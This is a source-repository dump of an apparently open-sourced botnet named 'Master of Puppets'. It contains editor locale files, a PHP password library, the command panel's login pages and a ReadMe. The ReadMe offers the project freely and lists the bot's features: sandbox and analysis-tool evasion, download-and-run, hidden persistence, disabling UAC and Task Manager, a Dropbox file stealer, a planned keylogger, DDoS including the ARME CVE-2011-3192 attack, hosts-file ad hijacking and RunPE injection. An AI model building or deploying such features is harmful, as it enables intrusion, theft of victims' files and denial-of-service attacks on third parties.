| }, 31 | html: { 32 | edit: "Redigera HTML" 33 | }, 34 | colours: { 35 | black: "Svart", 36 | silver: "Silver", 37 | gray: "Grå", 38 | maroon: "Kastaniebrun", 39 | red: "Röd", 40 | purple: "Lila", 41 | green: "Grön", 42 | olive: "Olivgrön", 43 | navy: "Marinblå", 44 | blue: "Blå", 45 | orange: "Orange" 46 | } 47 | }; 48 | }(jQuery)); -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.tr-TR.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Turkish translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["tr-TR"] = { 6 | font_styles: { 7 | normal: "Normal", 8 | h1: "Başlık 1", 9 | h2: "Başlık 2", 10 | h3: "Başlık 3" 11 | }, 12 | emphasis: { 13 | bold: "Kalın", 14 | italic: "İtalik", 15 | underline: "Altı Çizili" 16 | }, 17 | lists: { 18 | unordered: "Sırasız Liste", 19 | ordered: "Sıralı Liste", 20 | outdent: "Girintiyi Azalt", 21 | indent: "Girintiyi Arttır" 22 | }, 23 | link: { 24 | insert: "Ekle", 25 | cancel: "Vazgeç" 26 | }, 27 | image: { 28 | insert: "Ekle", 29 | cancel: "Vazgeç" 30 | }, 31 | html: { 32 | edit: "HTML Göster" 33 | }, 34 | colours: { 35 | black: "Siyah", 36 | silver: "Gümüş", 37 | gray: "Gri", 38 | maroon: "Vişne Çürüğü", 39 | red: "Kırmızı", 40 | purple: "Pembe", 41 | green: "Yeşil", 42 | olive: "Zeytin Yeşili", 43 | navy: "Lacivert", 44 | blue: "Mavi", 45 | orange: "Turuncu" 46 | } 47 | }; 48 | }(jQuery)); 49 | -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.ua-UA.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Ukrainian translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["ua-UA"] = { 6 | font_styles: { 7 | normal: "Звичайний текст", 8 | h1: "Заголовок 1", 9 | h2: "Заголовок 2", 10 | h3: "Заголовок 3" 11 | }, 12 | emphasis: { 13 | bold: "Напівжирний", 14 | italic: "Курсив", 15 | underline: "Підкреслений" 16 | }, 17 | lists: { 18 | unordered: "Маркований список", 19 | ordered: "Нумерований список", 20 | outdent: "Зменшити відступ", 21 | indent: "Збільшити відступ" 22 | }, 23 | link: { 24 | insert: "Вставити посилання", 25 | cancel: "Відміна" 26 | }, 27 | image: { 28 | insert: "Вставити зображення", 29 | cancel: "Відміна" 30 | }, 31 | html: { 32 | edit: "HTML код" 33 | }, 34 | colours: { 35 | black: "Чорний", 36 | silver: "Срібний", 37 | gray: "Сірий", 38 | maroon: "Коричневий", 39 | red: "Червоний", 40 | purple: "Фіолетовий", 41 | green: "Зелений", 42 | olive: "Оливковий", 43 | navy: "Темно-синій", 44 | blue: "Синій", 45 | orange: "Помаранчевий" 46 | } 47 | }; 48 | }(jQuery)); 49 | 50 | -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.zh-CN.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Chinese translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["zh-CN"] = { 6 | font_styles: { 7 | normal: "正文", 8 | h1: "标题 1", 9 | h2: "标题 2", 10 | h3: "标题 3" 11 | }, 12 | emphasis: { 13 | bold: "粗体", 14 | italic: "斜体", 15 | underline: "下划线" 16 | }, 17 | lists: { 18 | unordered: "项目符号", 19 | ordered: "编号", 20 | outdent: "减少缩进", 21 | indent: "增加缩进" 22 | }, 23 | link: { 24 | insert: "插入链接", 25 | cancel: "取消" 26 | }, 27 | image: { 28 | insert: "插入图片", 29 | cancel: "取消" 30 | }, 31 | html: { 32 | edit: "HTML代码" 33 | }, 34 | colours: { 35 | black: "黑色", 36 | silver: "银色", 37 | gray: "灰色", 38 | maroon: "赤红色", 39 | red: "红色", 40 | purple: "紫色", 41 | green: "绿色", 42 | olive: "橄榄色", 43 | navy: "深蓝色", 44 | blue: "蓝色", 45 | orange: "橙色" 46 | } 47 | }; 48 | }(jQuery)); -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/bootstrap-wysihtml5.zh-TW.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Chinese Traditional translation for bootstrap-wysihtml5 3 | */ 4 | (function($){ 5 | $.fn.wysihtml5.locale["zh-TW"] = { 6 | font_styles: { 7 | normal: "內文", 8 | h1: "標題 1", 9 | h2: "標題 2", 10 | h3: "標題 3" 11 | }, 12 | emphasis: { 13 | bold: "粗體", 14 | italic: "斜體", 15 | underline: "底線" 16 | }, 17 | lists: { 18 | unordered: "項目符號", 19 | ordered: "編號列表", 20 | outdent: "減少縮排", 21 | indent: "增加縮排" 22 | }, 23 | link: { 24 | insert: "插入超連結", 25 | cancel: "取消" 26 | }, 27 | image: { 28 | insert: "插入圖片連結", 29 | cancel: "取消" 30 | }, 31 | html: { 32 | edit: "HTML原始碼" 33 | }, 34 | colours: { 35 | black: "黑色", 36 | silver: "銀色", 37 | gray: "灰色", 38 | maroon: "栗色", 39 | red: "红色", 40 | purple: "紫色", 41 | green: "綠色", 42 | olive: "橄欖色", 43 | navy: "深藍色", 44 | blue: "藍色", 45 | orange: "橙色" 46 | } 47 | }; 48 | }(jQuery)); -------------------------------------------------------------------------------- /Panel/includes/js/wysiwyg/locales/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Panel/includes/libraries/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Panel/includes/libraries/password_compatibility_library.php: -------------------------------------------------------------------------------- 1 | 6 | * @license http://www.opensource.org/licenses/mit-license.html MIT License 7 | * @copyright 2012 The Authors 8 | */ 9 | 10 | if (!defined('PASSWORD_DEFAULT')) { 11 | 12 | define('PASSWORD_BCRYPT', 1); 13 | define('PASSWORD_DEFAULT', PASSWORD_BCRYPT); 14 | 15 | /** 16 | * Hash the password using the specified algorithm 17 | * 18 | * @param string $password The password to hash 19 | * @param int $algo The algorithm to use (Defined by PASSWORD_* constants) 20 | * @param array $options The options for the algorithm to use 21 | * 22 | * @return string|false The hashed password, or false on error. 23 | */ 24 | function password_hash($password, $algo, array $options = array()) { 25 | if (!function_exists('crypt')) { 26 | trigger_error("Crypt must be loaded for password_hash to function", E_USER_WARNING); 27 | return null; 28 | } 29 | if (!is_string($password)) { 30 | trigger_error("password_hash(): Password must be a string", E_USER_WARNING); 31 | return null; 32 | } 33 | if (!is_int($algo)) { 34 | trigger_error("password_hash() expects parameter 2 to be long, " . gettype($algo) . " given", E_USER_WARNING); 35 | return null; 36 | } 37 | switch ($algo) { 38 | case PASSWORD_BCRYPT: 39 | // Note that this is a C constant, but not exposed to PHP, so we don't define it here. 40 | $cost = 10; 41 | if (isset($options['cost'])) { 42 | $cost = $options['cost']; 43 | if ($cost < 4 || $cost > 31) { 44 | trigger_error(sprintf("password_hash(): Invalid bcrypt cost parameter specified: %d", $cost), E_USER_WARNING); 45 | return null; 46 | } 47 | } 48 | // The length of salt to generate 49 | $raw_salt_len = 16; 50 | // The length required in the final serialization 51 | $required_salt_len = 22; 52 | $hash_format = sprintf("$2y$%02d$", $cost); 53 | break; 54 | default: 55 | trigger_error(sprintf("password_hash(): Unknown password hashing algorithm: %s", $algo), E_USER_WARNING); 56 | return null; 57 | } 58 | if (isset($options['salt'])) { 59 | switch (gettype($options['salt'])) { 60 | case 'NULL': 61 | case 'boolean': 62 | case 'integer': 63 | case 'double': 64 | case 'string': 65 | $salt = (string) $options['salt']; 66 | break; 67 | case 'object': 68 | if (method_exists($options['salt'], '__tostring')) { 69 | $salt = (string) $options['salt']; 70 | break; 71 | } 72 | case 'array': 73 | case 'resource': 74 | default: 75 | trigger_error('password_hash(): Non-string salt parameter supplied', E_USER_WARNING); 76 | return null; 77 | } 78 | if (strlen($salt) < $required_salt_len) { 79 | trigger_error(sprintf("password_hash(): Provided salt is too short: %d expecting %d", strlen($salt), $required_salt_len), E_USER_WARNING); 80 | return null; 81 | } elseif (0 == preg_match('#^[a-zA-Z0-9./]+$#D', $salt)) { 82 | $salt = str_replace('+', '.', base64_encode($salt)); 83 | } 84 | } else { 85 | $buffer = ''; 86 | $buffer_valid = false; 87 | if (function_exists('mcrypt_create_iv') && !defined('PHALANGER')) { 88 | $buffer = mcrypt_create_iv($raw_salt_len, MCRYPT_DEV_URANDOM); 89 | if ($buffer) { 90 | $buffer_valid = true; 91 | } 92 | } 93 | if (!$buffer_valid && function_exists('openssl_random_pseudo_bytes')) { 94 | $buffer = openssl_random_pseudo_bytes($raw_salt_len); 95 | if ($buffer) { 96 | $buffer_valid = true; 97 | } 98 | } 99 | if (!$buffer_valid && is_readable('/dev/urandom')) { 100 | $f = fopen('/dev/urandom', 'r'); 101 | $read = strlen($buffer); 102 | while ($read < $raw_salt_len) { 103 | $buffer .= fread($f, $raw_salt_len - $read); 104 | $read = strlen($buffer); 105 | } 106 | fclose($f); 107 | if ($read >= $raw_salt_len) { 108 | $buffer_valid = true; 109 | } 110 | } 111 | if (!$buffer_valid || strlen($buffer) < $raw_salt_len) { 112 | $bl = strlen($buffer); 113 | for ($i = 0; $i < $raw_salt_len; $i++) { 114 | if ($i < $bl) { 115 | $buffer[$i] = $buffer[$i] ^ chr(mt_rand(0, 255)); 116 | } else { 117 | $buffer .= chr(mt_rand(0, 255)); 118 | } 119 | } 120 | } 121 | $salt = str_replace('+', '.', base64_encode($buffer)); 122 | } 123 | $salt = substr($salt, 0, $required_salt_len); 124 | 125 | $hash = $hash_format . $salt; 126 | 127 | $ret = crypt($password, $hash); 128 | 129 | if (!is_string($ret) || strlen($ret) <= 13) { 130 | return false; 131 | } 132 | 133 | return $ret; 134 | } 135 | 136 | /** 137 | * Get information about the password hash. Returns an array of the information 138 | * that was used to generate the password hash. 139 | * 140 | * array( 141 | * 'algo' => 1, 142 | * 'algoName' => 'bcrypt', 143 | * 'options' => array( 144 | * 'cost' => 10, 145 | * ), 146 | * ) 147 | * 148 | * @param string $hash The password hash to extract info from 149 | * 150 | * @return array The array of information about the hash. 151 | */ 152 | function password_get_info($hash) { 153 | $return = array( 154 | 'algo' => 0, 155 | 'algoName' => 'unknown', 156 | 'options' => array(), 157 | ); 158 | if (substr($hash, 0, 4) == '$2y$' && strlen($hash) == 60) { 159 | $return['algo'] = PASSWORD_BCRYPT; 160 | $return['algoName'] = 'bcrypt'; 161 | list($cost) = sscanf($hash, "$2y$%d$"); 162 | $return['options']['cost'] = $cost; 163 | } 164 | return $return; 165 | } 166 | 167 | /** 168 | * Determine if the password hash needs to be rehashed according to the options provided 169 | * 170 | * If the answer is true, after validating the password using password_verify, rehash it. 171 | * 172 | * @param string $hash The hash to test 173 | * @param int $algo The algorithm used for new password hashes 174 | * @param array $options The options array passed to password_hash 175 | * 176 | * @return boolean True if the password needs to be rehashed. 177 | */ 178 | function password_needs_rehash($hash, $algo, array $options = array()) { 179 | $info = password_get_info($hash); 180 | if ($info['algo'] != $algo) { 181 | return true; 182 | } 183 | switch ($algo) { 184 | case PASSWORD_BCRYPT: 185 | $cost = isset($options['cost']) ? $options['cost'] : 10; 186 | if ($cost != $info['options']['cost']) { 187 | return true; 188 | } 189 | break; 190 | } 191 | return false; 192 | } 193 | 194 | /** 195 | * Verify a password against a hash using a timing attack resistant approach 196 | * 197 | * @param string $password The password to verify 198 | * @param string $hash The hash to verify against 199 | * 200 | * @return boolean If the password matches the hash 201 | */ 202 | function password_verify($password, $hash) { 203 | if (!function_exists('crypt')) { 204 | trigger_error("Crypt must be loaded for password_verify to function", E_USER_WARNING); 205 | return false; 206 | } 207 | $ret = crypt($password, $hash); 208 | if (!is_string($ret) || strlen($ret) != strlen($hash) || strlen($ret) <= 13) { 209 | return false; 210 | } 211 | 212 | $status = 0; 213 | for ($i = 0; $i < strlen($ret); $i++) { 214 | $status |= (ord($ret[$i]) ^ ord($hash[$i])); 215 | } 216 | 217 | return $status === 0; 218 | } 219 | } 220 | 221 | 222 | 223 | -------------------------------------------------------------------------------- /Panel/includes/login.php: -------------------------------------------------------------------------------- 1 | doLogout(); 35 | } 36 | // login via post data (if user just submitted a login form) 37 | elseif (isset($_POST["login"])) { 38 | $this->dologinWithPostData(); 39 | } 40 | } 41 | 42 | /** 43 | * log in with post data 44 | */ 45 | private function dologinWithPostData() 46 | { 47 | // check login form contents 48 | if (empty($_POST['user_name'])) { 49 | $this->errors[] = "Username field was empty."; 50 | } elseif (empty($_POST['user_password'])) { 51 | $this->errors[] = "Password field was empty."; 52 | } elseif (!empty($_POST['user_name']) && !empty($_POST['user_password'])) { 53 | 54 | // create a database connection, using the constants from config/db.php (which we loaded in index.php) 55 | $this->db_connection = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME); 56 | 57 | // change character set to utf8 and check it 58 | if (!$this->db_connection->set_charset("utf8")) { 59 | $this->errors[] = $this->db_connection->error; 60 | } 61 | 62 | // if no connection errors (= working database connection) 63 | if (!$this->db_connection->connect_errno) { 64 | 65 | // escape the POST stuff 66 | $user_name = $this->db_connection->real_escape_string($_POST['user_name']); 67 | 68 | // database query, getting all the info of the selected user (allows login via email address in the 69 | // username field) 70 | $sql = "SELECT user_name, user_email, user_password_hash 71 | FROM users 72 | WHERE user_name = '" . $user_name . "' OR user_email = '" . $user_name . "';"; 73 | $result_of_login_check = $this->db_connection->query($sql); 74 | 75 | // if this user exists 76 | if ($result_of_login_check->num_rows == 1) { 77 | 78 | // get result row (as an object) 79 | $result_row = $result_of_login_check->fetch_object(); 80 | 81 | // using PHP 5.5's password_verify() function to check if the provided password fits 82 | // the hash of that user's password 83 | if (password_verify($_POST['user_password'], $result_row->user_password_hash)) { 84 | 85 | // write user data into PHP SESSION (a file on your server) 86 | $_SESSION['user_name'] = $result_row->user_name; 87 | $_SESSION['user_email'] = $result_row->user_email; 88 | $_SESSION['user_login_status'] = 1; 89 | 90 | } else { 91 | $this->errors[] = "Wrong password. Try again."; 92 | } 93 | } else { 94 | $this->errors[] = "This user does not exist."; 95 | } 96 | } else { 97 | $this->errors[] = "Database connection problem."; 98 | } 99 | } 100 | } 101 | 102 | /** 103 | * perform the logout 104 | */ 105 | public function doLogout() 106 | { 107 | // delete the session of the user 108 | $_SESSION = array(); 109 | session_destroy(); 110 | // return a little feeedback message 111 | $this->messages[] = "You have been logged out."; 112 | 113 | } 114 | 115 | /** 116 | * simply return the current state of the user's login 117 | * @return boolean user's login status 118 | */ 119 | public function isUserLoggedIn() 120 | { 121 | if (isset($_SESSION['user_login_status']) AND $_SESSION['user_login_status'] == 1) { 122 | return true; 123 | } 124 | // default return 125 | return false; 126 | } 127 | } 128 | -------------------------------------------------------------------------------- /Panel/includes/panel.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | Master of Puppets 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | Hey, . You are logged in. 17 | Try to close this browser tab and open it again. Still logged in! ;) 18 | 19 | 20 | Logout 21 | 22 | 23 | -------------------------------------------------------------------------------- /Panel/index.php: -------------------------------------------------------------------------------- 1 | isUserLoggedIn() == true) { 35 | // the user is logged in. you can do whatever you want here. 36 | // for demonstration purposes, we simply show the "you are logged in" view. 37 | //include("views/logged_in.php"); 38 | include("includes/panel.php"); 39 | } else { 40 | // the user is not logged in. you can do whatever you want here. 41 | // for demonstration purposes, we simply show the "you are not logged in" view. 42 | include("login.php"); 43 | } 44 | -------------------------------------------------------------------------------- /Panel/login.php: -------------------------------------------------------------------------------- 1 | errors) { 5 | foreach ($login->errors as $error) { 6 | echo $error; 7 | } 8 | } 9 | if ($login->messages) { 10 | foreach ($login->messages as $message) { 11 | echo $message; 12 | } 13 | } 14 | } 15 | ?> 16 | 17 | 18 | 19 | 20 | Admin Login 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 |
31 |
32 |
33 | 46 |
47 |
48 |
49 | 50 | 51 | 52 | 53 | 54 | -------------------------------------------------------------------------------- /ReadMe.txt: -------------------------------------------------------------------------------- 1 | This is a project i was working on for a while but lost intrest in. This source is fully open and free for anyone to use. My code is sloppy and i used some features from other open source projects. 2 | 3 | Panel is not ready for use. 4 | Bot is not ready for use, but will work. 5 | 6 | NOT RECOMENDED FOR USE. 7 | 8 | Made in Visual Studio 2015: https://www.visualstudio.com/en-us/products/vs-2015-product-editions.aspx 9 | 10 | 11 | 12 | 13 | ' = Not added or being worked on 14 | ------------------------------------------------------------ 15 | List of Commands/Ability's 16 | ------------------------------------------------------------ 17 | Antis 18 | - Virtual PC 19 | - Virtual Box 20 | - Wireshark 21 | - Sandboxie 22 | - Threat Expert 23 | - Anubis 24 | - JoeBox 25 | - CW Sandbox 26 | - Netstat 27 | - Filemon 28 | - Procmon 29 | - Regmon 30 | - Cain 31 | - Netmon 32 | - TCP View 33 | Advanced Mutex system 34 | - Checks Configs Mutex 35 | - Checks Panel for known Mutex 36 | Download and Run 37 | 'Update 38 | 'Screenshot 39 | Show MessageBox 40 | - Pain 41 | - Error 42 | - Warning 43 | - Infromation 44 | Open Website 45 | Open Website Hidden 46 | - Threaded 47 | Install 48 | - HKCU 49 | - HKLM (If Admin) 50 | - AppData (Random Folder) 51 | - Windows (Random Folder, Random Sub-Folder) (If Admin) 52 | - Invisable 53 | Uninstall 54 | Die (Close Bot) 55 | 'Compile CodeDOM 56 | 'File corrupt 57 | Enable/Disable UAC if Admin 58 | Enable/Disable Regedit if Admin 59 | Enable/Disable TaskMgr if Admin 60 | Change Panel Address 61 | 'Keylogger 62 | 'Cell Phone Pictures Stealer (Currently only Android Compatible) 63 | '- Detect Cellphone 64 | '- Steal from Phone 65 | '- Steal from SD Card 66 | Dropbox File Stealer (MutliThreaded) 67 | Botkiller (Anti Malware) 68 | - Nanocore 69 | - Imminent Monitor 70 | - Luminosity Link 71 | - BlackShades 72 | - Basic Keyloggers, Injectors, IRCBots, RATs, Crypters 73 | DDoS (MutliThreaded) 74 | ARME CVE-2011-3192 75 | UDP 76 | 'HTTP Timeout 77 | Persistence(MutliThreaded) 78 | - TempPath (Random Folder) 79 | - WindowsPath (Random Folder, Random Sub-Folder) 80 | - Deletes old Run Registry and files 81 | 'Panel Domain Generator 82 | ' - Uses keywords to generate possible MoP control sites 83 | ' - Checks site 84 | ' - Changes Panel address 85 | Popup System 86 | 'Selects a random site link form the panels database and opens them at random times 87 | - Adbox shows on desktop bottem right corner 88 | - - Clicking opens ads link 89 | '- - Able to Repeat ads with a timer in Minutes 90 | '- - Have a list of ads from the panel to show ( Image:Link ) 91 | Block Websites if Admin 92 | 'Add Hijacking 93 | 'Changes the host file to point most known add sites to your own add system (Built into panel + external script) 94 | Prosses Elevation (Betabot/xRAT Style) 95 | Make Prosses Critical if Admin 96 | - Logoff Handler 97 | - Shutdown Handler 98 | 'Plugin System http://www.dotnetheaven.com/article/reflection-in-vb.net 99 | 'UnPn 100 | 'Reverse HTTP Proxy 101 | 'Custom 102 | 'RunPE (32 and 64) 103 | ' - Inject Downloaded File 104 | --------------------------------------------------------------------------------